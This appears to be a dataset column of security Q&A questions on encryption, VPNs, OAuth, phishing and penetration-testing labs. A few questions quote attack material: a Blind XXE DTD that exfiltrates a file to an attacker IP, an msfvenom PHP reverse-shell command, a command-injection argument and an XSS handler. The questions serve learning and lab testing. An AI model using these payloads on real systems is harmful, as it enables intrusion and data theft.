instruction stringlengths 24 29.9k |
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according to https://www.rfc-editor.org/rfc/rfc8032
EdDSA uses small public keys (32 or 57 bytes) and signatures (64 or
114 bytes) for Ed25519 and Ed448, respectively;
But if I sign using Ed25519 in GPG, my signature gets 144 bytes long:
$ gpg --list-keys
/c/Users/John/.gnupg/pubring.kbx
-----------------------------... |
Poking around my machine today, realised there's an unknown user listed in there: tVA2uiJ14w
First I thought it could be some IT account, but then again the filenames are too funky to be business related.
All of these files seems to be encoded/encrypted in some way:
Extract of the diskapricotdeputy.sql
/**************... |
I read the audit docs on GoCryptFS website (https://nuetzlich.net/gocryptfs/threat_model/). There dragon has full information about the read write done in the gcfs partition, what does this mean and how safe is it to store GoCryptFS encrypted directory on a popular cloud provider?
|
In theory, authenticating with a public key should be much simpler than with a password. There is nothing to remember for the end-user, and registration can be done just by clicking a button. For all intents and purposes, this should be much more user-friendly than a traditional password-based authentication.
So, why i... |
If I were to configure a server that would be configured to only be accessible (HTTP) from a single IP address via a port, is it safe from unauthorized access?
|
I got a call from a contact on What'sApp, and when I picked up there was no audio. The person says they weren't even holding their phone when it happened, and it even took a minute for the call to show up on their phone. This seemed like some kind of security breach so I put my phone in airplane mode and disabled What'... |
I talk in a security forum, and sometimes a moderator share links to sources about things he talk about, but when I hover on these links, the link is different the the source it self. It is actually a URL shortener that he himself built which associated with his website. I thought it is self profit.
I asked him why he ... |
I received an email to my corporate email account from an external Gmail account.
The list of recipients clearly shows (an eventually successful) attempt to guess my email address based on my personal information (nothing confidential — all of it is semi-publicly available on LinkedIn), including a correct internal dom... |
so I am currently following a few online courses about ethical hacking and really want to become a bug bounty hunter/penetration tester but most of them do not teach anything about stay anonymous online or staying anonymous when scanning so do ethical hacker really need to stay anonymous or not since they are granted p... |
There are many ports opened by system on one Windows 8 computer:
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WorkGroup)
49152/tcp open un... |
For a purpose of a security class I want to demonstrate a threat delivered via email. As a demo message I want to use an eml file that contains a banking-themed pdf attachment, requiring further actions from the user. I want to scan the eml file with a security tool indicating in particular how important it is to have ... |
We have a use case wherein a mobile app that can be used by multiple users on the same device needs to authenticate the users in some offline scenarios. We were using Password grant as in OAuth2 to check the password when the user is online and storing the password's PBKDF2 hash in the device. I know this is less secur... |
I have been using an rsyncd server for backups for what feels like a decade.
I saw that rsyncd has no transport encryption (not even for username and password).
I wonder what other security issues this software has?
Here is my config (/etc/rsyncd.conf)
port = 873
[backup]
path = /disk/backup
uid = nobody
gid = users
li... |
I am trying to find if the following shell script is vulnerable to command injection
#!/bin/sh
set -x
dig +noall +answer TXT $2._domainkey.$1
Now when I try something like this,
sh script.sh "sparkpost.com & echo \$(whoami)" "google"
(Note: the script is actually executed by a C program using posix_spawn)
the follow... |
Can someone explain to me the purpose of the refresh token when you're using the Client Credentials grant type with OAuth2? I'm confused because you can easily generate a new access token without one, so why bother?
For example, to get an access token you typically only need:
https://oauth.example.com/token?grant_type=... |
I am working on an authentication server that can act as a central place to manage authentication for multiple projects, sort of like keycloak or ory kratos.
While working on implementing refresh_tokens (RT) I got an idea for an alternative solution that would not rely on cookies. But first, what challenges do I see wi... |
I bought a subscription to a VPN service and I am using the openvpn 2.5.1 client to connect to it. I am using Ubuntu 20.10.
I now want to emulate the "kill switch" feature of most proprietary VPN client.
That is, I want to block any connection that is not tunneled through the VPN. Said otherwise, if the VPN connection ... |
I have attempted to decrypt traffic between two .NET applications (both on Windows platforms) using Wireshark but due to the Diffie Hellman with perfect forward secrecy, I cannot use my private key from the server to decrypt the session keys. The applications are communicating using HTTP over TLS 1.2.
My only hope is t... |
I am trying to run this exploit through metasploit, all done on the same Kali Linux VM. I am trying to attack from my VM to the same VM.
https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/unix/webapp/wp_admin_shell_upload.md
kali linux system(latest) apache: Server version: Apache/... |
When reading malware-analysis posts, I see researchers talking about sophisticated state-sponsored actors. How can researchers know when something is state-sponsored from their code/C2 servers alone?
|
I bought a subscription to a VPN service and I set up the VPN tunnel using openvpn.
In order to avoid DNS leaks, I am using the DNS servers provided by my VPN provider by manually enforcing /etc/resolv.conf.
By navigating on the internet, what are all the possible ways by which my real IP address could leak?
(I mean in... |
I am connecting to the website of ExpressVPN that checks for WebRTC IP leaks.
My IP as resulting from that website is the same IP of the VPN server I am connected to but with the last digit augmented by 1.
That is, if IP address of my VPN server is
A.B.C.D (e.g. 1.2.3.4)
the IP as detected from that website is
A.B.C.(D... |
Is there any protection provided by Chrome browser against HDD dump and further forensics (with volatility-like tools)? For example, is it possible to extract google profile from Chrome folder and use it (with simple substitution) on other PC?
P.S And if there is totally no protection against forensics, are there other... |
I would like to know the security implications of using a bootstrap token that never expires. The reason why I'm considering doing that is that I'm using terraform and my control-plane is in a autoscaling-group, so the credentials required to join a cluster need to be known when the group is created and need to stay va... |
I am finding the following link on my mobile past option once I restart or power on, any one knows what is it?
e-zfas5x9ao:apa91bhrmkjzwyvopxax8_ahaqhyimnk53h1vjiba6z91wrxs34z6xz6fc_kgsuh0x6wbpsbvvol_yr2lzrkuvu6iyawl1yveebv7vprpfhxebheldcwpopkdmuz7dfdmat18tzoqjkj
|
Over the past week, the account credentials for my organization's Twilio account were stolen and used to send ~10,000 fraudulent SMS messages claiming to be from a major bank.
The passwords have all been changed, the secrets have been rotated, and the "subaccounts" created by the scammer have been removed.
I have no id... |
I've been receiving a lot of email lately intended for "Daniel L...", a person with the same last name and same first initial as me. It appears this person has requested information from dozens of colleges, car rentals, business opportunities, etc; and had all the information sent to my email address. I have a short, b... |
I have located an issue where the user can provide an HTML that will be rendered on a page. Unfortunately, the HTML is rendered inside an href attribute using "(quotes), making it impossible to exploit such scenarios as:
<a href=https://google.com onClick=alert(1)> https://google.com </a>
In order for the link to be r... |
I have a CloudFormation template with parameters in my private Github repo. I'd like to make it public.
I have vpc-id and subnet-id in my parameters.json. I have seen this type of data being scrubbed in tutorials etc, but I have a hard time believing it entails any security risk publishing these ids? (They are not ARN'... |
i was using flvtbo youtube converter and i had to enable javascript.
i saw an ad come up from "multiadblock.com" which tried to lure me into downloading a chrome extension, but of course i didn't even proceed
after browsing through the google extension store i noticed that no such extension exists.
flvto even redirecte... |
Recently I was chatting with Bitdefender support through their support center and one weird thing I noticed was that the support person would be answering my questions right after I sent them without even taking the time to read or think about them and sometimes they would answer it before I even sent the question. So ... |
I got a notice due to vandalism in Wikipedia and the perpetrator is someone with the same IP as mine.
I looked up the notice and it seems that the vandalism happened last year and the person behind it lives in the same city as me but in a different location. We both seem to have the same ISP as well.
I am very worried ... |
I want to scrape our university's learning platform website, to let myself know via notifications when a new entry added to any lesson.
But, I'm scared that they'll put robots.txt afterwards and sue me or something, I don't know. I just don't have any experience of this. I just know that I should look at robots.txt bef... |
I have encountered the term "sensitive attribute" multiple times when reading up on the concept of k-anonimity -- but the texts never formally define what this term means.
Take this example of a k-anonymized table from Wikipedia:
+------+---------------+--------+-------------------+----------+-------------------+
| Nam... |
As a security engineer, I wonder about the common approach for web app 3rd party JS dependency vulnerability management. We have a lot of apps depend on Jquery etc. In a regular vulnerability scan, old versions of JS libraries (which alot of them has XSS CVEs) reported as vulnerability. Without really reading and under... |
I partially wiped my hard drive using the null-fill method through command prompt by
copying a 1 Gigabyte file filled with NULL over and over until I ran out of space.
After that I tried recovering files and what do you know, I got back the references and names.
I look through the data of those files using a HEX editor... |
I generated my self signed certificate using openssl and I chose ECC keys (prime 256v1) for root certificate but while authenticating with the server i.e. IBM cloud and my device the negotiated cipher suite was TLS-ECDHE-RSA-WITH-AES-128-GCM-SHA256 so now I'm confused because I've generated ECC keys but RSA has been us... |
Company A developed a widget (Web Component) deployed on several clients/partners.
Only clients/partners must be authorized to use the widget.
No need to distinguish between each end users (clients' users), because only the application itself, the widget itself must be authenticated/authorized.
I thought about using a ... |
I have been a victim of a fraud where my solicitor's email address was used to dupe me out of a house purchase deposit. How do I determine where the emails originated from - did the crooks use emails from my inbox (hotmail) that somehow got re-forwarded back to me. Or did these email originate from my solicitor's serve... |
How hmac-secret extension defined in the CTAP2 Specification is used to help implement offline authentication with an authenticator. Is there any other specification that says how to do this?
From the exploration around, it looks like Microsoft is using this for offline login - https://groups.google.com/u/4/a/fidoallia... |
A web vulnerability assessment was done on our web app by a third company that specializes in security,
and we added common headers that we missing, and to check my headers internally before the third org could scan l used an online tool for headers
when l check the headers are present and it's reporting fine.
Now the ... |
Is it possible to read and extract HTTP request headers via JavaScript?
i.e. something like;
var req = new XMLHttpRequest();
req.open(‘GET’, document.location, false);
req.send(null);
var headers = req.getAllResponseHeaders();
console.log(headers);
But instead of reading HTTP response headers (as per snippet above), i... |
My use case is the following: I want to create an app with React Native that I can deploy on both iOS and Android.
The app should consume an RSS feed (https call) from the server but there is no need to have authorization in place. The output does not depends on the user.
I was trying to look around for ways to have so... |
On one hand "Security Operations Centre", but SOC is seemingly used in the reporting and certification domain, where does this come from? Is there another (or more) definitions of SOC in Information Security Compliance Certification, or do these terms just reference it as a way to describe practices needed to be in pla... |
Looking at a typical vulnerability scan report from Nessus or Qualys most people are terrified, lost, and basically with more questions than answers. For example, how on earth am I going to deal with all these findings? From what I was taught, a vulnerability management process can be broken down into 4 steps (not ment... |
My lab
Kali Linux:192.168.171.134
bWApp Server: http://192.168.171.131
I want to do an exfiltration data via HTTP on this Blind XXE.
I'll use the Portswigger Payload.
This is the External.DTD:
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://192.168.171.134/?x=%file;'>">
%eval;
%exfiltrate;
Th... |
I have set up a VPN client and I'm using iptables to block all connections not tunneled through the VPN. An example of the iptables rules I am using can be found here.
Unfortunately with this configuration RStudio does not start up.
In fact the RStudio guide says:
Check firewall, proxy settings, and antimalware
Althou... |
Yes, I did read this answer: https://apple.stackexchange.com/questions/192365/is-it-ok-to-use-the-root-user-as-a-normal-user/192422#192422
But I still fail to understand the reasoning behind this advice, as long as we are talking about a single user home PC (for a multi-user system the advice seems obvious to me: a mal... |
I am testing a lock box I own, it uses a Mifare 1k lock with default key, and I use a keyfob to unlock it.
I have both a Proxmark3 and a ChameleonMini.
With the Proxmark3 I am able to both clone the keyfob to a 'Chinese Magic' mifare 1k card and open the box with it, as well as emulate the card with the proxmark3 and o... |
I recently came across a web application where it was asking for an OTP after a successful login.
Let the endpoint be https://www.example.com/otpcode
The initial test for a brute-force of the OTP resulted in a 400 Bad request. I tested for a race condition using the authentic OTP I received.
Let the OTP be 123456. I us... |
Bank accounts are bound to an identity. Can bank cards be used in the same way as https://www.identrust.com/certificates/document-signing ?
|
I run Kali Linux OS on my PC and I use the Metasploit Framework. But I'm unable to access any ports when I run sudo netdiscover it always outputs that all ports are closed, even though Metasploit has a port open.
What do I do?
|
If you download scripts such as file with extension such as .py, .java, .cs, .cpp, etc and if you don't run it but only open it in an IDE or notepad then will the virus get executed or is this possible for me to get infected just by doing that?
|
We have recently implemented an automated OCR, email scanning program that connects to our exchange email service, This service will open attached invoice and insert them into our accounting software program automatically. This program is installed and run on one of our VM's on the same subnet as our production machine... |
I created a php reverse shell using msfvenom utility like:
msfvenom -p php/meterpreter/reverse_tcp LHOST=<MY_IP> LHOST=4444 -f raw > reverse_shell.php
And I created a listener using msfconsole using multi/handler. I uploaded the shell to the target machine and used curl to request the url of the uploaded shell but the... |
I searched "amazon.com" in Opera quicksearch and it led me to this site: http://iyfnzgb.com/?pid=9PO1H9V71&dn=amanzon.com
Is it malicious? Opera didn't open a proper internet page, only a screen with the opera logo. In the History it shows a directory icon.
|
I'm using Fail2ban on a Mailcleaner server which works pretty good, but I want to update it to ban hosts who want to spoof our addresses. I'm using the "original" mc-exim-filter, but I don't really understand how regular expressions work.
Here is an example from the log:
2021-02-26 00:02:37 H=([77.31.53.117]) [77.31.53... |
I am not a security expert (I am more a software developer) and I am working on a project related to a SIEM installation (Wazuh). This installation is only a demo for a customer, in a second time a real scenario project will be implemented. This SIEM will monitor some CentOS 7 machines
I have the following doubt: we wa... |
I'm building a REST API resource server with JWT authorization for an Angular web app. I'm looking for a method to perform an additional check if the request body sent from the client application has not been modified by the attacker.
The communication between the server and the client is using SSL, but I need to make ... |
Source ip addresses can be spoofed. And because of IPv6 it is not enough to keep a look-up table of ip addresses that are excluded from visiting a website, because with ipv6 there are now enough ip addresses for a single sender to spoof to send quintillions of probing requests at a webserver.
Given this, what are newer... |
I've been messing around with Python to automatize downloading webpages and images when needed, and for that I'm using urllib.request, usually authenticated to the sites with my login. As someone still very ignorant about internet security, I heard HTTP connections are not recommended due to the fact that the informati... |
As part of bug bounty, I have a PATCH request to the API to change my name.
I can post theses chars:
:
;
'
*
`
=
#
/
[
]
(
)
This is the HTML result :
data-cy="label-input__input" value="My injection :;'*`=#/[]()" class="label-input__input" data-v-71bcf264> <!---->
Am I obligated to use the char " to inject my JavaSc... |
I have already set up a squid cache proxy server on a Raspberry Pi 4. I need to create some sort of GUI to turn on and off certificate checking for man in the middle attacks.
First, how do I get squid to do this certificate checking, or do I need another program to do the work. Is it possible to then create a GUI progr... |
I'm having some difficulty understanding when people say that VLANS provide security by logically separating/dividing the switch into different sections after trunking the VLANs on a router and allowing the hosts on the different VLANs to communicate with each other. I can see how they would provide security if the VLA... |
Here's my not so theoretical scenario: A day-one Trojan horse attack where the attacker sets up a secure connection back to himself using a well known trusted port, such as 80 21 443. Or for instance, if a malicious user takes advantage of an open source tool such as openvpn to secure and route a connection out through... |
I was reading this article by Credit Karma (An American fintech). They mention that this system of "identity-aware encryption" helps them better protect the data of their users and to keep it private.
This block diagram tries to explain how the process works:
A user makes a request to the application to get some data... |
I would like to learn how to find the private IP address of anyone connected to a network.
This specific network has a firewall. The only info I have on it is that it blocks ICMP requests (I'm pretty sure ping sends and receives ICMP requests) no matter who you are sending these requests to. The error message goes some... |
I have Layer3 ddos protection, but I want to upgrade it to Layer7 ddos protection. But when i look about Layer7 Ddos attacks, I see that they are usually HTTP/HTTPS based attacks. I have 3 questions;
What is other Layer7 DDos attacks, e.g FTP, DNS ?
If I use WAF instead of Layer7 ddos protection, what will be risks in... |
Many sites have a step during registration when you have to create security questions and answers for them. Is this type of security layer considered as 2FA? From what I know, 2FA is used for the purpose of typing in data which is not permanent, like SMS message which comes to you when you are logging in. You don't kno... |
I want to know is it possible to get malware from .txt files? I think it's possible, because a program executes the .txt file and program may get infected.
If it is, how?
|
In translated from an English profile, combined from a couple of profiles (I found that one is Protection Profile for Application Software v1.2 of NIAP) I have something like
"TOE security functions must provide for the preliminary
initialization of variables and data structures when allocating RAM."
Could anyone tel... |
Stripe's fraud detection documentation claims it has
Proxy Detection
When I search for how it might be detecting traffic from proxies, I see this great answer, which show how to detect that traffic.
But I am not sure how reliable it is. Is it always possible to detect traffic from proxies?
For example, could someone ... |
Over a year ago, I have reported a few security vulnerabilities to one of the top bug bounty programs on HackerOne. All of them have been quickly triaged as critical, but no progress was made towards their resolution. I have repeatedly pinged them for update, but every time I have received evasive answers. The program ... |
So a few weeks ago I came across a security report that stated that the SHA1 thumbprint of the certificate was a vulnerability. The vulnerability was raised due to fact that the thumbprint used the SHA1 algorithm and this algorithm has structural flaws.
From what I understood, the thumbprint and signature are entirely ... |
Not sure if this is the right place for this question, but I'm looking for a way to establish secure inbound email traffic from external senders with an automated decryption mechanism within my organization.
Our workflows require that emails flow into a document management system, and TLS-encrypted emails do not suppor... |
Given an alert rule like -a always,exit -F arch=b32 -S open -S openat -F exit=-EACCES -k access how does adding multiple SysCalls (-S) options work?
When an application gets executed do all the specified syscalls have to be executed within a short time period of each other or at the same time or just be in the applicat... |
Problem:
The hiring department occasionally sends me Word documents asking to clear the file as "safe" to open and review for purposes like resumes etc.; they can come from anywhere and are often unsolicited job applications.
Based on the cornucopia of Word exploits out there and my relative inexperience I get a slight... |
Some people on my email contact list have been receiving phishing emails that appear to come from someone else on my contact list. The people receiving the emails and the person purportedly sending the emails are not themselves contacts.
If people on my contact list were receiving phishing emails from my account I wou... |
I'm trying to figure out how to establish trust in Windows executables that I download from the internet.
Some software that I download, such as KeepassXC, has a Windows Digital Signature, but they also provide a PGP signature that I can manually verify using a certificate that I get from their code repository.
Other s... |
Is it possible to perform an SQL injection inside an XSS attack?
And if so, where can I find information on this or some examples?
|
I am creating a network with three layers. A sender layer, A gateway layer, and a Receiver layer; each having different platforms. See diagram below
All platforms have published their public keys on a trusted public database server (not shown on the diagram).
A sender S wants to send a message to the receiver layer bu... |
Ben Laurie's original paper on Certificate Transparency proposed that clients (browsers) should "gossip". In particular, it proposed that when a browser connects to a web server, it should send to the server the latest signed tree head from a Certificate Transparency log. This enables comparing what different browser... |
I need to add extra security to my Android device using iptables and a firewall to defend against hackers. My specific goals are to prevent a hacker from remotely breaking into my device to begin with and, in the event spyware is remotely placed on my device, my data/activity cannot be uploaded to whatever command cent... |
I am developing a web application which will be downloaded, installed and used by my customers on their intranet. The data in the application is confidential, so all requests and responses need to be encrypted. What is the best way to accomplish this?
I have two goals: (1) privacy of data and (2) ease-of-use.
I am fami... |
Say I'm running a server with Ubuntu and an application stack and I want to lock down potential malicious access.
Is there some OSS toolchain for disallowing execution of all unsigned binaries on linux? I'm imagining some toolchain that allows me to sign every binary on the system at some point and then disallow execu... |
I am trying to understand this DNS cache poisoning from a textbook.
Is it the case that the server does not check any pending requests for a given domain and will send all of the n "same" requests to the DNS Lookup?
If the attacker manages to guess one Query ID and poison the cache why don't the other legitimate DNS r... |
As per the title, I'm looking for insight on the crowdstrike sensor. Does anyone know if, on top of the outbound pt:443 access to the domains it requires, whether it also requires inbound connectivity?
|
The IT dept at work refuses to install Garmin software on our PCs because they say that connect a Garmin GPS device to a machine is a security risk.
What is the risk?
|
I'm trying to enumerate a Microsoft Access database using sqlmap, in particular I run this command:
sqlmap -r http.txt --risk 2 --dump-all
Anyway it seems is not retrieving a single information. Am I missing some switch? I already tried --dbms="Microsoft Access" and the result was the same. sqlmap output is reported b... |
In my existing setup, we have Exchange Server joined with Windows Active Directory. Both the username and email address are the same for user accounts. Our support party also recommended using this approach.
But my Management questioned using the same email address as a computer login name. They told me that everyone, ... |
I'm implementing a model which I'll have to reupdate the users, so I want to deliver a unique link to the users and after confirmed the update, I expire that link, so I prevent reusing that link.
How do I generate a random secure token for that?
The performance of checking if the token was already visited isn't a probl... |
Using standard hardening options like PIC, Stack Protection ...
does a mere recompilation make a program more secure against attacks?
You have the source code of a program, compile it two times with the same options. One of the binaries you give your attacker. Does it help him/not help him if you give him the same bina... |
I have an old application that needs the obsolete RSA key and not the ECDH. I know the ECDH is newer. I have tried this
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out private-key.pem
I create my csr
I import the csr in CA to create cer and the chain. After doing all this I still get the new version ... |
Is there possible situation where a file contains malicious codes and after the code is excuted, the virus attach itself to another file and delete the malicious code from the file where it comes from?
|
I had some difficulty in grasping the concept on how "DNS sinkhole" is being utilize.
Is it like setting up something similar to a honeypot to lure attackers away from the actual network, so that we as "cyber analyst" will be able to understand and learn about the tactics, techniques and procedure (TTP) being used by t... |
I am taking a computer security course but I have a question I am stuck on.
You are the system administrator for a provider that owns a large network (e.g., at least 64,000 IP addresses). Show how you can use SYN cookies to perform a DOS attack on a web server.
I am confused by this though because I thought that SYN co... |
I am using AWS API Gateway to build my API, and securing it using API Gateway's recently launched Mutual TLS feature. My use-case is to only authenticate a few servers. Here is my approach in brief:
Ask the clients to get client certificates issued from reputable CA, say, Digicert. The certificate must be for a domain... |
For example, consider a software that wants to package all txt files in the /user/Desktop directory and upload them to its own server. I am not a programmer, but I know it can be done very easily with code. Maybe this can be done with a single line of code. Even a lot of well-known software can do this. Pdf viewer, med... |
Say we signup and login to an OAuth 2.0 enabled security application called "AI Car Command Center" via Google OAuth 2.0
We then logout.
Does Google then have the capability to then grant itself access to "AI Car Command Center", if it was forced to by some entity, of course without the account owner's consent or crede... |
I have been reading a number of articles that state it is not possible for an inspection proxy to simply drop-out/disengage from a TLS 1.3 connection in the same way that is possible in TLS 1.2.
Such articles never seem to explain exactly why that is the case, for example some simply say "its because the certificate is... |
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